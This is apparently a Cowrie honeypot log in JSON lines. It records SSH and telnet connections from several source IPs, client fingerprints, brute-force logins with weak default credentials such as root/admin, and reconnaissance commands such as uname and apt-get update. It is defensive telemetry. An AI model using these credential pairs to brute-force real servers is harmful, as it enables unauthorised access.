{"eventid":"cowrie.login.success","username":"steam","password":"steam","message":"login attempt [steam/steam] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:17:05.451813Z","src_ip":"47.239.15.75","session":"49ddb9f23b90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":51520,"dst_ip":"10.17.0.5","dst_port":23,"session":"e8d5d27920e9","protocol":"telnet","message":"New connection: 45.58.127.90:51520 (10.17.0.5:23) [session: e8d5d27920e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:17:28.889867Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.88.76.27","src_port":35216,"dst_ip":"159.203.135.109","dst_port":22,"session":"257b22f7457f","protocol":"ssh","message":"New connection: 103.88.76.27:35216 (159.203.135.109:22) [session: 257b22f7457f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:17:41.019568Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:17:41.024794Z","src_ip":"103.88.76.27","session":"257b22f7457f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:17:41.267232Z","src_ip":"103.88.76.27","session":"257b22f7457f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"csgoserver","password":"12345678","message":"login attempt [csgoserver/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:17:42.253627Z","src_ip":"103.88.76.27","session":"257b22f7457f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:17:43.496313Z","src_ip":"103.88.76.27","session":"257b22f7457f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.125.94.71","src_port":60288,"dst_ip":"159.203.135.109","dst_port":22,"session":"dc455ee1857c","protocol":"ssh","message":"New connection: 202.125.94.71:60288 (159.203.135.109:22) [session: dc455ee1857c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:17:44.919005Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:17:44.925188Z","src_ip":"202.125.94.71","session":"dc455ee1857c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:17:45.274020Z","src_ip":"202.125.94.71","session":"dc455ee1857c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.99809813499451,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:17:46.219800Z","src_ip":"45.58.127.90","session":"875776d8fa4f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"test","password":"zxc123","message":"login attempt [test/zxc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:17:46.343956Z","src_ip":"202.125.94.71","session":"dc455ee1857c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:17:47.607641Z","src_ip":"202.125.94.71","session":"dc455ee1857c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.590704679489136,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:18:06.480450Z","src_ip":"45.58.127.90","session":"e8d5d27920e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.71.233.73","src_port":29930,"dst_ip":"10.17.0.5","dst_port":22,"session":"05a74fc769b4","protocol":"ssh","message":"New connection: 185.71.233.73:29930 (10.17.0.5:22) [session: 05a74fc769b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:18:09.372682Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Renci.SshNet.SshClient.0.0.1","message":"Remote SSH version: SSH-2.0-Renci.SshNet.SshClient.0.0.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:18:09.382758Z","src_ip":"185.71.233.73","session":"05a74fc769b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"748f8c627d3f8ff9921d02f86f55ba2c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc,blowfish-cbc,twofish-cbc,twofish192-cbc,twofish128-cbc,twofish256-cbc,arcfour,arcfour128,arcfour256,cast128-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-512-96,hmac-sha2-256-96,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-md5-96-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc","blowfish-cbc","twofish-cbc","twofish192-cbc","twofish128-cbc","twofish256-cbc","arcfour","arcfour128","arcfour256","cast128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-512-96","hmac-sha2-256-96","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-md5-96-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 748f8c627d3f8ff9921d02f86f55ba2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:18:09.802873Z","src_ip":"185.71.233.73","session":"05a74fc769b4","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:18:10.754582Z","src_ip":"185.71.233.73","session":"05a74fc769b4","protocol":"ssh"}
{"eventid":"cowrie.client.size","width":80,"height":60,"message":"Terminal Size: 80 60","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:18:11.237280Z","src_ip":"185.71.233.73","session":"05a74fc769b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.71.233.73","src_port":29949,"dst_ip":"159.203.135.109","dst_port":22,"session":"20707089bedf","protocol":"ssh","message":"New connection: 185.71.233.73:29949 (159.203.135.109:22) [session: 20707089bedf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:18:11.322084Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Renci.SshNet.SshClient.0.0.1","message":"Remote SSH version: SSH-2.0-Renci.SshNet.SshClient.0.0.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:18:11.327354Z","src_ip":"185.71.233.73","session":"20707089bedf","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:18:11.476692Z","src_ip":"185.71.233.73","session":"05a74fc769b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"748f8c627d3f8ff9921d02f86f55ba2c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc,blowfish-cbc,twofish-cbc,twofish192-cbc,twofish128-cbc,twofish256-cbc,arcfour,arcfour128,arcfour256,cast128-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-512-96,hmac-sha2-256-96,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-md5-96-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc","blowfish-cbc","twofish-cbc","twofish192-cbc","twofish128-cbc","twofish256-cbc","arcfour","arcfour128","arcfour256","cast128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-512-96","hmac-sha2-256-96","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-md5-96-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 748f8c627d3f8ff9921d02f86f55ba2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:18:11.604852Z","src_ip":"185.71.233.73","session":"20707089bedf","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:18:12.211555Z","src_ip":"185.71.233.73","session":"20707089bedf","protocol":"ssh"}
{"eventid":"cowrie.client.size","width":80,"height":60,"message":"Terminal Size: 80 60","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:18:12.664444Z","src_ip":"185.71.233.73","session":"20707089bedf","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"apt-get update -y","message":"CMD: apt-get update -y","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:18:12.708927Z","src_ip":"185.71.233.73","session":"05a74fc769b4","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:18:12.876472Z","src_ip":"185.71.233.73","session":"20707089bedf","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"apt-get update -y","message":"CMD: apt-get update -y","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:18:14.187273Z","src_ip":"185.71.233.73","session":"20707089bedf","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:18:19.274333Z","src_ip":"47.239.15.75","session":"49ddb9f23b90","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:18:19.278221Z","src_ip":"47.239.15.75","session":"49ddb9f23b90","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"sudo apt-get update -y","message":"CMD: sudo apt-get update -y","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:18:28.877885Z","src_ip":"185.71.233.73","session":"05a74fc769b4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"admin","message":"CMD: admin","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:18:29.746870Z","src_ip":"185.71.233.73","session":"05a74fc769b4","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"admin ","message":"Command not found: admin ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:18:29.750775Z","src_ip":"185.71.233.73","session":"05a74fc769b4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"sudo apt-get update -y","message":"CMD: sudo apt-get update -y","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:18:30.209012Z","src_ip":"185.71.233.73","session":"20707089bedf","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"admin","message":"CMD: admin","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:18:31.258689Z","src_ip":"185.71.233.73","session":"20707089bedf","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"admin ","message":"Command not found: admin ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:18:31.263683Z","src_ip":"185.71.233.73","session":"20707089bedf","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"16.0","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 16.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:18:35.290969Z","src_ip":"47.239.15.75","session":"49ddb9f23b90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"123.9","message":"Connection lost after 123.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:18:35.295867Z","src_ip":"47.239.15.75","session":"49ddb9f23b90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.88.76.27","src_port":42484,"dst_ip":"159.203.135.109","dst_port":22,"session":"7de41e807a37","protocol":"ssh","message":"New connection: 103.88.76.27:42484 (159.203.135.109:22) [session: 7de41e807a37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:18:37.408427Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:18:37.413181Z","src_ip":"103.88.76.27","session":"7de41e807a37","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:18:37.669279Z","src_ip":"103.88.76.27","session":"7de41e807a37","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":58136,"dst_ip":"10.17.0.5","dst_port":23,"session":"5786c2a56da0","protocol":"telnet","message":"New connection: 45.58.127.90:58136 (10.17.0.5:23) [session: 5786c2a56da0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:18:38.668222Z"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy@2024","message":"login attempt [deploy/deploy@2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:18:38.715139Z","src_ip":"103.88.76.27","session":"7de41e807a37","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.239.15.75","src_port":34776,"dst_ip":"159.203.135.109","dst_port":22,"session":"2afcd06f1631","protocol":"ssh","message":"New connection: 47.239.15.75:34776 (159.203.135.109:22) [session: 2afcd06f1631]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:18:39.045641Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:18:39.050931Z","src_ip":"47.239.15.75","session":"2afcd06f1631","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:18:39.971864Z","src_ip":"103.88.76.27","session":"7de41e807a37","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.125.94.71","src_port":53338,"dst_ip":"159.203.135.109","dst_port":22,"session":"8e6aba2121bc","protocol":"ssh","message":"New connection: 202.125.94.71:53338 (159.203.135.109:22) [session: 8e6aba2121bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:18:42.212980Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:18:42.218614Z","src_ip":"202.125.94.71","session":"8e6aba2121bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:18:42.491119Z","src_ip":"202.125.94.71","session":"8e6aba2121bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Qw123456","message":"login attempt [ubuntu/Qw123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:18:43.577259Z","src_ip":"202.125.94.71","session":"8e6aba2121bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:18:44.844946Z","src_ip":"202.125.94.71","session":"8e6aba2121bc","protocol":"ssh"}
